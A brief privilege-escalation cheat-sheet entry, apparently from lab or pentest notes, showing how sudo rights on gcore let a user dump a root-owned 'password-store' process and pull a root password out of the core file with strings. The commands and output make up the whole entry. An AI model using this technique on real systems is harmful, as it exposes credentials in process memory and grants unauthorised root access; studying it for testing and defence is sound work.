Gcore
# Check user's permissions
$ sudo -l
User x7331 may run the following commands on kali:
(ALL) NOPASSWD: /usr/bin/gcore
# List root processes
$ ps -u root -o pid,comm
490 password-store
# Dump the process
$ sudo gcore 490
# Inspect the file
$ strings core.490
001 Password: root:
R00tM3Plz!!!Last updated